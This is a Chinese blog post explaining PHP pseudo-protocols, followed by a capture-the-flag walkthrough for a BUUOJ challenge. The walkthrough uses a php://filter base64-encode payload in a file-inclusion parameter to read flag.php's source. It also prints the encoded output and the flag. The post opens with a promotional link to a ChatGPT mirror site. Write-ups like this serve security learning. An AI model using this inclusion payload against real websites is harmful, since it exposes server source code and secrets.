ChatGPT 可用网址,仅供交流学习使用,如对您有所帮助,请收藏并推荐给需要的朋友。
https://ckai.xyz
PHP伪协议是什么
PHP伪协议(PHP pseudo-protocols)是一种PHP编程语言中的特殊功能,它允许开发者通过URL或文件路径来访问和处理各种数据源,包括文件、网络资源和其他数据。
PHP伪协议怎么用
这些伪协议在URL中以一种类似于标准协议(如HTTP、FTP等)的方式出现
PHP伪协议原理是什么
PHP解释器会处理不同的伪协议,并将它们映射到适当的处理程序和资源,过程为
- URL解析:当PHP脚本中包含一个使用伪协议的URL时,PHP解释器首先会解析这个URL,识别伪协议的部分(例如php://、file://等)以及相关的路径和参数。
- 伪协议处理器:一旦解析了伪协议,PHP解释器会确定要使用的伪协议处理器。每个伪协议都有对应的处理器,负责处理该伪协议所代表的操作。例如,file伪协议处理器用于处理本地文件,http伪协议处理器用于处理HTTP请求,等等。
- 资源访问:伪协议处理器会根据URL中的信息执行相应的操作,例如,如果是读取文件,它会打开文件并返回文件内容;如果是HTTP请求,它会发送HTTP请求并返回响应内容。
- 流操作:对于php://伪协议,它允许对PHP的输入和输出流进行操作。例如,php://stdin用于读取标准输入,php://stdout用于写入标准输出。这对于命令行脚本和程序的输入输出非常有用。
解题
打开题目,只有一个超链接
点击超链接 链接为http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=flag.php
通过file参数访问flag.php这个文件,然后将文件内容显示在网页上
页面内容只有一句话Can you find out the flag?
但是flag应该就在这个文件里了,只是因为某种原因显示不出来
用php伪协议php://
来指定用base64编码输出文件内容(php伪协议允许对PHP的输入和输出流就行处理 包括编码)
payload=file=php://filter/read=convert.base64-encode/resource=flag.php
得到一串base64编码字符串PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NDg5MzhlNjMtMTdmYi00NjdkLTk5MzQtNGVmZWY4MDJjNDVkfQo=
解密后得到
<?php
echo "Can you find out the flag?";
//flag{48938e63-17fb-467d-9934-4efef802c45d}
得到flag=flag{48938e63-17fb-467d-9934-4efef802c45d}
当url=http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=flag.php
PHP处理器会执行php中的代码,所以显示的是Can you find out the flag?
但是当url=http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php
PHP无法执行这串被编码的字符,就会直接输出